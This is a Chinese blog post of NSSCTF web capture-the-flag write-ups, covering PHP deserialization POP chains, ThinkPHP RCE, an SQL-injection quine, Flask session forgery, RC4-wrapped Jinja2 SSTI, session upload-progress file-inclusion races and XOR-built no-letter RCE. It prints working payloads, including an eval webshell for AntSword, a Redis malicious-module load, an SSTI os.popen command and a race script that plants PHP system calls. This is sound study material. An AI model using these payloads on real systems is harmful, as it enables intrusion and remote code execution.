NSSCTF做题(7)

news2024/11/15 23:03:35

[第五空间 2021]pklovecloud

反序列化

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  


class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 

else 

    highlight_file(__file__); 
}
?>

 这道题还是反着来,先去找pop链的尾部,找到尾部之后再往前翻

1.要想读出 flag.php 就要触发 file_get_contents() 函数;

2.要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();

3.寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();

4.acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。
 

pop链的构造:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。

构造过程中有两个需要特别注意的点,一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

 同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null

这样我们就成功的绕过的比较利用到了file_get_contents()函数

<?php
class acp
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct()
    {      
        $this->cinder = new ace;
    }  
}  
class ace
{    
    public $filename='flag.php';
    public $openstack;
    public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

上传之后发现flag在另外一个里面,修改一下poc继续上传

发现还是没有

返回到上级目录看看

最后的payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D 

得到flag

[HNCTF 2022 Week1]Interesting_http 

按给的提示做

应该是传want=flag

 说不是admin

抓包看一下,改了之后

说不在本地,用xff,得到flag

[SWPUCTF 2022 新生赛]ez_rce 

源代码里没什么东西,访问一下index.php

没找到什么,开扫

 扫到了robots.txt,访问一下,发现了访问地址

发现是php thinkv5

 报错发现是5.0.22版本

可以直接去网上找payload

cat flag没出来,发现用../../../../../flag他也出不来

去前面找找看看是不是有什么敏感词,发现了nss

先访问一下这个

接着访问

有flag,cat发现还是没有,再ls

还有一层应该是

得到了flag

[WUSTCTF 2020]朴实无华

抓个包看看

没什么东西,访问robots.txt,发现了fakeflag,

 访问发现提示

郝,找到正牌的了


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

去非洲吧 

第一关

if(intval($num) < 2020 && intval($num + 1) > 2021){

先看第一题,以GET方式传入参数,传入的num经过intval函数处理后,需要大于2020,且加1后需小于2021。intval函数用于获取变量的整数值,也就无法输入小数绕过 

知识点:PHP弱类型及intval函数使用不当

这里使用intval函数后与2020比较没有问题,但是问题出在与2021比较之前num加了1 

 使用‘2e4’来绕过,intval()会识别为字符串看做整数2,而且php还有个强制转换的机制,如果将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。

?num=2e4

第二关

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))

这里需要满足 一个数和MD5值相等,不能用数组绕过,就用科学计数法,满足开头都是0e就ok

md5=0e215962017

第三关

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

 

 以GET方式传入get_flag,传入的参数会执行system。strstr函数检测到空格则返回空格,str_ireplace函数检测到cat替换为wctf2020

空格绕过  ${IFS}  cat绕过 

过了这三关就能得到flag

先看一下根目录

?num=2e4&md5=0e215962017&get_flag=ls

得到flag地址,直接rce得到flag

[第五空间 2021]yet_another_mysql_injection

得到了正经的东西

// 首先 username 必须是admin
if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
}

// 其次输入的密码不得在黑名单
function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
checkSql($password);

// sql查询语句
SELECT password FROM users WHERE username='admin' and password='$password';

// 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
    die($FLAG);
}

if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

 这个if判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG,

通过分析发现只有输入正确的密码才能得到FLAG,但是这张表其实是一张空表,所以爆破密码这条路走不通。

那就只有一个办法,就是构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG

注入的payload;

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

CTFHUB 2021-第五空间 yet_another_mysql_injection-CSDN博客x

 详细的还是看这位大佬的wp吧,我讲不明白,触及到知识盲区了

得到了flag

[SWPUCTF 2022 新生赛]1z_unserialize 

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 
 

只需要给下边这两个变量赋值就ok了

    public $lt='system';
    public $lly='cat /flag';

 得到flag

[天翼杯 2021]esay_eval 

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}
 

我们只需要绕过__wakeup

preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }

这里有个过滤

反序列化要绕过wakeup,正常就是改数字,但是这里有个正则过滤

注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过

看到了eval函数,危险函数命令执行,传就行了

 查看phpinfo页面,发现命令执行的东西都被限制了

这里我们使用蚁剑连接

打开蚁剑连接

?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}  

Redis加载恶意so获取shell

html目录下有config文件,里面有redis密码

 第一次看到so文件

计算机系统: 共享对象文件(.so文件)详解,全面解析!-CSDN博客

redis配置文件详解_流水武qin的博客-CSDN博客

先在html目录下上传恶意so文件

文件地址

 上传完成后使用蚁剑redis插件连接

 右键执行命令

MODULE LOAD /var/www/html/exp.so
system.exec "命令"

得到flag

[LitCTF 2023]Flag点击就送! 

输入127.0.0.1发现有按钮

点击之后发现要管理员才能拿到

抓包看看能改哪里

通过抓包后,在cookie字段发现了 特殊的东西,前面翻译过来跟题目没有太大关系,所以最后就看session字段,看着不像是base64,burp解码也不行

 

根据题目提示以及这个session知道了这道题要考session伪造

先说一下session的作用:

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

 session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。

flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
 

flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

base64解码发现 是json格式的base64加密

json

 json的全称为:JavaScript Object Notation,是一种轻量级的数据交互格式。

JSON支持数据格式:

json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array

对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开

json本质上就是一个字符串

要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF(题目)

脚本是借鉴的大佬的

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
 

这个1.py就是我的脚本

 

 得到flag

 [SWPUCTF 2022 新生赛]where_am_i

题目的提示

电话号是11位的,之前好像做过类似的题,属于社工类吧

用识图看一看

在百度识图找到,古迹酒店

搜一下

看着还是像的 电话号码也是11位

 输入纯数字的电话号码,得到flag

[NISACTF 2022]middlerce 

正则过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。

脚本

import requests

payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。 

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

?><?= `nl /f*`?> 

最终的payload

import requests

payload = '{"cmd":"?><?= `nl /f*`?>", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

得到flag

 [SWPUCTF 2022 新生赛]numgame

 发现页面除了能点加减号以外什么都干不了

抓个包发现了js代码

还是要看看源代码,在侧边栏打开更多工具,打开网页源代码

在源代码里找到了一个base64编码,解码看看

是一个php页面,打开

得到了代码

 

 打开hint2.php

这道题目的切入点在

call_user_func($_GET['p']);

这个位置

这个是把第一个参数作为回调函数使用

 这一题类似于以下这个例子

这里调用的类方法是

Echo “hello”

调用的格式为

myclass::say_hello

那么回到刚刚那个题目

用nss2就可以回调就可以看到flag了应该

这里只有以恶搞类nss这个类中有一个函数可以调用就是include(‘hint2.php’)

可以试验一下看看能不能调用

这里还要学习一个新的运算符  ::双冒号运算符

我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写看能否绕过,所以构造payload

用nss发现这个 ,那就用nss2就可以了

得到flag

 [NISACTF 2022]is secret

 扫描后得/secret

告诉我你的秘密我会加密它

应该是要进行一个传参,随便传一个数进去会返回一个不一样的字符,传入该字符又得回原来的数,猜测应该是一个对称加密,但这远远不知道是什么

题目标签是ssti,尝试用{{7*7}}注入

进到了这个页面里

找到了源码文件

if(secret==None):#判断是否为空
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #对传入的内容进行rc4解密,密钥为HereIsTreasure
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))#对rc4解密后的内容进行safe安全检测,最后进行字符串渲染
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

 要先rce加密,密钥为HereIsTreasure

网上找到脚本尝试{{7*7}} 加密

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

发现存在ssti注入

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。 

{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在

class返回当前类

init初始化类

globals对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量

.popen()方法的操作系统中打开一个子进程,并执行cat /f*的命令
更多有关 Jinja2引擎的魔术方法参考:

[CISCN 2019华东南]Double Secret-CSDN博客

最后的payload:

?secret=.%14%19V¥%09%0DglÓç%2C½¾÷»'¬kz%C2%88mé|%03%C2%85%07¶%1Có%0Dà!%C2%84O×%04â%17Û%40%C2%9D%C2%82ñ*3ó%0Aª%C2%ADCb*¬)m%C2%83%7F%07Âó%0DX»%C2%86%1C»Mr%0D*ô

[第五空间 2021]EasyCleanup

 代码审计

 Docker PHP裸文件本地包含综述 | 离别歌

phpinfo LFI-本地临时文件包含_php 临时文件包含_amingMM的博客-CSDN博客 

当 mode=eval 时,若 shell 无值,则执行phpinfo(); 若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过filter($shell) | checkNums($shell),限制太多,想要通过 RCE 得到 flag 几乎无从下手,于是我们考虑从file寻找攻击点

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含

然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

访问/?mode=eval查看 phpinfo 内容,定位到 session 相关的信息,标注箭头处是比较关键的信息

 

那么讲解一下关键选项

        session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
        session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
        session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
        session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
        session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
        session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

综上所述,这种利用方式需要满足下面几个条件:

    目标环境开启了session.upload_progress.enable选项
    发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
    请求的Cookie中包含Session ID

    注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
这里还是用大佬的脚本,在这一块还是差的太多了

# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://node4.anna.nssctf.cn:28628'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('tac /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}


def writeshell(session):
    while True:
        resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)


def getshell(session):
    while True:
        payload_url = myurl + '?file=' + '/tmp/sess_' + sessid
        resp = requests.get(url=payload_url)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass


if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)

 

[SWPUCTF 2022 新生赛]ez_ez_unserialize

简单的一道反序列化构造

要绕过一个__wakeup(),

改成员数量大于实际成员数量就行了

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

最终的payload:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag

[HUBUCTF 2022 新生赛]HowToGetShell

属于无字母rce

异或,取反,自增,脚本,4种方式可供选择

我采取的是用异或的方式 这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E,E对应的ASCII码值为01000101,我选择了>{进行异或得到E。

这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]);  //assert($_GET[6])

把上面的构造放一排就可以了。

 [HUBUCTF 2022 新生赛]HowToGetShell题解_dockerere的博客-CSDN博客

推荐这篇博客给大家

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1074499.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Softmax回归的多分类任务

Logistic回归可以有效地解决二分类问题&#xff0c;但在分类任务中&#xff0c;还有一类多分类问题&#xff0c;即类别数C大于2 的分类问题。Softmax回归就是Logistic回归在多分类问题上的推广。 使用Softmax回归模型对一个简单的数据集进行多分类实验。 首先给大家看一下需要的…

【SpringCloud】Ribbon负载均衡原理、负载均衡策略、饥饿加载

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaEE 操作系统 Redis 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 Ribbon 一、 Ribbon负载均衡原理1.1 负载均…

4.springcloudalibaba sentinel v1.8.6版本服务搭建

文章目录 前言一、sentinel服务端安装1.1 服务端下载1.2 启动sentinel服务 二、客户端使用sentinel2.1.pom增加sentinel包2.2 增加配置2.3 启动服务 三、验证3.1 给hello接口增加流控规则3.2 测试结果如下 总结 前言 前面完成了gateway项目部署并且测试&#xff0c;现在部署搭…

【ONE·C++ || 异常】

总言 主要介绍异常。 文章目录 总言1、C异常1.1、C语言传统的处理错误的方式1.2、异常概念1.3、异常的基本用法1.3.1、异常的抛出和捕获1.3.1.1、异常的抛出和匹配原则1.3.1.2、 在函数调用链中异常栈展开匹配原则 1.3.2、异常的重新抛出1.3.2.1、演示一1.3.2.2、演示二 1.3.3…

滑动窗口算法技巧

大家好&#xff0c;我是 方圆。在我刷了一些滑动窗口相关的题目之后&#xff0c;发现很有技巧性&#xff0c;只要掌握了解题思路&#xff0c;就会很简单&#xff0c;所以我决定用这篇帖子记录一下&#xff0c;也帮助同样在刷滑动窗口相关题目的同学。 使用滑动窗口解决的问题一…

PADS规则设置

一&#xff0e;设置类规则(DRC检测规则) 默认所有类规则设置网络属性分类设置 网络属性附着颜色 选择电源类在DDR中设置非常实用 创建组合 方便模块整旋转移动 二,元件组合 选择组合 旋转组合 CtrlR旋转90&#xff1b;双击旋转任意角度 拆开组合(还独立元件操作) 三,设置过孔…

【java学习】多维数组(10)

文章目录 1. 二维数组 1. 二维数组 二维数组[][]&#xff1a;数组中的数组 格式1&#xff08;动态初始化&#xff09;&#xff1a;int[][] arr new int[3][2]; 解释说明&#xff1a; 定义了名称为arr的二维数组二维数组中有3个一维数组每个一维数组中有2个元素一维数组的名称…

教资面试多烂才不合格 教师资格证面试难度分析

教资面试是否合格&#xff0c;主要取决于考生的表现是否符合教师职业要求和教育教学能力。以下是一些可能导致教资面试不合格的表现&#xff1a; 对教育事业缺乏热情&#xff0c;对所教授的学科不感兴趣&#xff0c;或者对教育工作没有正确的认知。 对学生的关注不足&#xf…

C++学习day3

目录 作业&#xff1a; 1> 思维导图 2>设计一个Per类&#xff0c;类中包含私有成员:姓名、年龄、指针成员身高、体重&#xff0c;再设计一个Stu类&#xff0c;类中包含私有成员:成绩、Per类对象p1&#xff0c;设计这两个类的构造函数、析构函数和拷贝构造函数。 效果图…

【ICer的脚本练习】shell的三剑客:grep/sed/awk

系列的目录说明请见:ICer的脚本练习专栏介绍与全流程目录_尼德兰的喵的博客-CSDN博客 前言 大大小小的脚本我们写了几个了,在上一篇我们借助bashrc简单了解了bash语言的一些语法和组织规则。这一篇呢我们还是回到shell简单看下三个常用命令,毕竟脚本也可以视为复杂的命令尤…

c++运算符

文章目录 运算符位运算符类型转换 运算符 #include<iostream> using namespace std;int main() {// 算术运算符cout << "1 2 " << 1 2 << endl; cout << "1 2 - 3 * 4 " << 1 2 - 3 * 4 << endl;short a…

mfoc-hardnested在visual studio2022编译

1、点击mfoc-hardnested.sln 2、没有clang LLVM (clang-cl) (未安装) 打开installer 点击修改: 单个组件中搜索clang &#xff0c;安装即可 3、编译 4、main函数 5、mfoc-hardnested.exe使用

v-on事件处理指令;简写@事件名

一、v-on 给元素&#xff08;标签&#xff09;绑定事件监听器 oninput、onclick、onchange、onblur等 1、 完整方式v-on:事件名“函数/方法” 2、简写方式事件名“函数/方法”&#xff0c;注意符号不能加冒号“&#xff1a;” input /click/change/blur ..... 代码如下&#xf…

为什么不建议使用SELECT * ?

